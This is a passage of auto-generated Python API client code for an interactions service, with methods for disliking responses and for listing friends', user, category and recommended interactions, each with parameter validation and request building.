# verify the required parameter 'response_id' is set
if ('response_id' not in params) or (params['response_id'] is None):
raise ValueError("Missing the required parameter `response_id` when calling `dislike_response`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `dislike_response`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `dislike_response`")
resource_path = '/interactions/{interactionId}/responses/{responseId}/dislike'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
if 'response_id' in params:
path_params['responseId'] = params['response_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionResponse',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def get_friends_interactions(self, interaction_status, start, end, requester_id, client_token, **kwargs):
"""
Get list of interactions shared by friends
Returns the list of interactions shared by friends
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_friends_interactions(interaction_status, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str interaction_status: /* Interaction status 1) ALL 2) UNREPLIED 3) REPLIED 4) CLOSED */ (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_type: Interaction Type
:param int category_id: categoryId
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_friends_interactions_with_http_info(interaction_status, start, end, requester_id, client_token, **kwargs)
else:
(data) = self.get_friends_interactions_with_http_info(interaction_status, start, end, requester_id, client_token, **kwargs)
return data
def get_friends_interactions_with_http_info(self, interaction_status, start, end, requester_id, client_token, **kwargs):
"""
Get list of interactions shared by friends
Returns the list of interactions shared by friends
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_friends_interactions_with_http_info(interaction_status, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str interaction_status: /* Interaction status 1) ALL 2) UNREPLIED 3) REPLIED 4) CLOSED */ (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_type: Interaction Type
:param int category_id: categoryId
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_status', 'start', 'end', 'requester_id', 'client_token', 'interaction_type', 'category_id', 'association', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_friends_interactions" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_status' is set
if ('interaction_status' not in params) or (params['interaction_status'] is None):
raise ValueError("Missing the required parameter `interaction_status` when calling `get_friends_interactions`")
# verify the required parameter 'start' is set
if ('start' not in params) or (params['start'] is None):
raise ValueError("Missing the required parameter `start` when calling `get_friends_interactions`")
# verify the required parameter 'end' is set
if ('end' not in params) or (params['end'] is None):
raise ValueError("Missing the required parameter `end` when calling `get_friends_interactions`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `get_friends_interactions`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `get_friends_interactions`")
resource_path = '/interactions/friends'.replace('{format}', 'json')
path_params = {}
query_params = {}
if 'interaction_status' in params:
query_params['interactionStatus'] = params['interaction_status']
if 'interaction_type' in params:
query_params['interactionType'] = params['interaction_type']
if 'category_id' in params:
query_params['categoryId'] = params['category_id']
if 'association' in params:
query_params['association'] = params['association']
if 'start' in params:
query_params['start'] = params['start']
if 'end' in params:
query_params['end'] = params['end']
if 'fields' in params:
query_params['fields'] = params['fields']
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionList',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def get_interaction(self, interaction_id, requester_id, client_token, **kwargs):
"""
Get interaction by id
Returns the interaction by id
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_interaction(interaction_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_interaction_with_http_info(interaction_id, requester_id, client_token, **kwargs)
else:
(data) = self.get_interaction_with_http_info(interaction_id, requester_id, client_token, **kwargs)
return data
def get_interaction_with_http_info(self, interaction_id, requester_id, client_token, **kwargs):
"""
Get interaction by id
Returns the interaction by id
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_interaction_with_http_info(interaction_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_interaction" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `get_interaction`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `get_interaction`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `get_interaction`")
resource_path = '/interactions/{interactionId}'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
query_params = {}
if 'fields' in params:
query_params['fields'] = params['fields']
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteraction',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def get_interaction_categories(self, start, end, requester_id, client_token, **kwargs):
"""
Get the list of interaction categories
Returns the list of interaction categories
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_interaction_categories(start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_type: Interaction Type
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)categoryId 2)categoryName 3)interactionType **A) Available values -** 1)categoryId 2)categoryName 3)categoryDescription 4)createdDate 5)isSubscribed 6)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategoryList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_interaction_categories_with_http_info(start, end, requester_id, client_token, **kwargs)
else:
(data) = self.get_interaction_categories_with_http_info(start, end, requester_id, client_token, **kwargs)
return data
def get_interaction_categories_with_http_info(self, start, end, requester_id, client_token, **kwargs):
"""
Get the list of interaction categories
Returns the list of interaction categories
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_interaction_categories_with_http_info(start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_type: Interaction Type
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)categoryId 2)categoryName 3)interactionType **A) Available values -** 1)categoryId 2)categoryName 3)categoryDescription 4)createdDate 5)isSubscribed 6)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategoryList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['start', 'end', 'requester_id', 'client_token', 'interaction_type', 'association', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_interaction_categories" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'start' is set
if ('start' not in params) or (params['start'] is None):
raise ValueError("Missing the required parameter `start` when calling `get_interaction_categories`")
# verify the required parameter 'end' is set
if ('end' not in params) or (params['end'] is None):
raise ValueError("Missing the required parameter `end` when calling `get_interaction_categories`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `get_interaction_categories`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `get_interaction_categories`")
resource_path = '/interactions/categories'.replace('{format}', 'json')
path_params = {}
query_params = {}
if 'interaction_type' in params:
query_params['interactionType'] = params['interaction_type']
if 'association' in params:
query_params['association'] = params['association']
if 'start' in params:
query_params['start'] = params['start']
if 'end' in params:
query_params['end'] = params['end']
if 'fields' in params:
query_params['fields'] = params['fields']
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionCategoryList',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def get_interactions_for_user(self, interaction_status, start, end, requester_id, client_token, **kwargs):
"""
Get list of all interactions visible to the user
Returns the list of all interactions visible to the user
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_interactions_for_user(interaction_status, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str interaction_status: /* Interaction status 1) ALL 2) UNREPLIED 3) REPLIED 4) CLOSED */ (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param int category_id: categoryId
:param str interaction_type: Interaction Type
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_interactions_for_user_with_http_info(interaction_status, start, end, requester_id, client_token, **kwargs)
else:
(data) = self.get_interactions_for_user_with_http_info(interaction_status, start, end, requester_id, client_token, **kwargs)
return data
def get_interactions_for_user_with_http_info(self, interaction_status, start, end, requester_id, client_token, **kwargs):
"""
Get list of all interactions visible to the user
Returns the list of all interactions visible to the user
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_interactions_for_user_with_http_info(interaction_status, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str interaction_status: /* Interaction status 1) ALL 2) UNREPLIED 3) REPLIED 4) CLOSED */ (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param int category_id: categoryId
:param str interaction_type: Interaction Type
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_status', 'start', 'end', 'requester_id', 'client_token', 'category_id', 'interaction_type', 'association', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_interactions_for_user" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_status' is set
if ('interaction_status' not in params) or (params['interaction_status'] is None):
raise ValueError("Missing the required parameter `interaction_status` when calling `get_interactions_for_user`")
# verify the required parameter 'start' is set
if ('start' not in params) or (params['start'] is None):
raise ValueError("Missing the required parameter `start` when calling `get_interactions_for_user`")
# verify the required parameter 'end' is set
if ('end' not in params) or (params['end'] is None):
raise ValueError("Missing the required parameter `end` when calling `get_interactions_for_user`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `get_interactions_for_user`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `get_interactions_for_user`")
resource_path = '/interactions'.replace('{format}', 'json')
path_params = {}
query_params = {}
if 'interaction_status' in params:
query_params['interactionStatus'] = params['interaction_status']
if 'category_id' in params:
query_params['categoryId'] = params['category_id']
if 'interaction_type' in params:
query_params['interactionType'] = params['interaction_type']
if 'association' in params:
query_params['association'] = params['association']
if 'start' in params:
query_params['start'] = params['start']
if 'end' in params:
query_params['end'] = params['end']
if 'fields' in params:
query_params['fields'] = params['fields']
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionList',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def get_recommend_interactions(self, start, end, requester_id, client_token, **kwargs):
"""
Get list of recommended interactions
Returns the list of recommended interactions
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_recommend_interactions(start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_type: interactionType
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_recommend_interactions_with_http_info(start, end, requester_id, client_token, **kwargs)
else:
(data) = self.get_recommend_interactions_with_http_info(start, end, requester_id, client_token, **kwargs)
return data
def get_recommend_interactions_with_http_info(self, start, end, requester_id, client_token, **kwargs):
"""
Get list of recommended interactions
Returns the list of recommended interactions
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_recommend_interactions_with_http_info(start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_type: interactionType
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['start', 'end', 'requester_id', 'client_token', 'interaction_type', 'association', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_recommend_interactions" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'start' is set
if ('start' not in params) or (params['start'] is None):
raise ValueError("Missing the required parameter `start` when calling `get_recommend_interactions`")
# verify the required parameter 'end' is set
if ('end' not in params) or (params['end'] is None):
raise ValueError("Missing the required parameter `end` when calling `get_recommend_interactions`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `get_recommend_interactions`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `get_recommend_interactions`")
resource_path = '/interactions/recommend'.replace('{format}', 'json')
path_params = {}
query_params = {}
if 'interaction_type' in params:
query_params['interactionType'] = params['interaction_type']
if 'association' in params:
query_params['association'] = params['association']
if 'start' in params:
query_params['start'] = params['start']
if 'end' in params:
query_params['end'] = params['end']
if 'fields' in params:
query_params['fields'] = params['fields']
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionList',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def get_recommended_interactins_from_db(self, user_id, start, end, requester_id, client_token, **kwargs):
"""
Get list of recommended interactions from DB
Returns the list of recommended interactions from DB
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_recommended_interactins_from_db(user_id, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int user_id: User Id whose recommended interactions want to get (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_type: Interaction Type
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_recommended_interactins_from_db_with_http_info(user_id, start, end, requester_id, client_token, **kwargs)
else:
(data) = self.get_recommended_interactins_from_db_with_http_info(user_id, start, end, requester_id, client_token, **kwargs)
return data
def get_recommended_interactins_from_db_with_http_info(self, user_id, start, end, requester_id, client_token, **kwargs):
"""
Get list of recommended interactions from DB
Returns the list of recommended interactions from DB
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_recommended_interactins_from_db_with_http_info(user_id, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int user_id: User Id whose recommended interactions want to get (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_type: Interaction Type
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user_id', 'start', 'end', 'requester_id', 'client_token', 'interaction_type', 'association', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_recommended_interactins_from_db" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user_id' is set
if ('user_id' not in params) or (params['user_id'] is None):
raise ValueError("Missing the required parameter `user_id` when calling `get_recommended_interactins_from_db`")
# verify the required parameter 'start' is set
if ('start' not in params) or (params['start'] is None):
raise ValueError("Missing the required parameter `start` when calling `get_recommended_interactins_from_db`")
# verify the required parameter 'end' is set
if ('end' not in params) or (params['end'] is None):
raise ValueError("Missing the required parameter `end` when calling `get_recommended_interactins_from_db`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `get_recommended_interactins_from_db`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `get_recommended_interactins_from_db`")
resource_path = '/interactions/{userId}/recommendedInteractions'.replace('{format}', 'json')
path_params = {}
if 'user_id' in params:
path_params['userId'] = params['user_id']
query_params = {}
if 'interaction_type' in params:
query_params['interactionType'] = params['interaction_type']
if 'association' in params:
query_params['association'] = params['association']
if 'start' in params:
query_params['start'] = params['start']
if 'end' in params:
query_params['end'] = params['end']
if 'fields' in params:
query_params['fields'] = params['fields']
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'GET',
path_params,
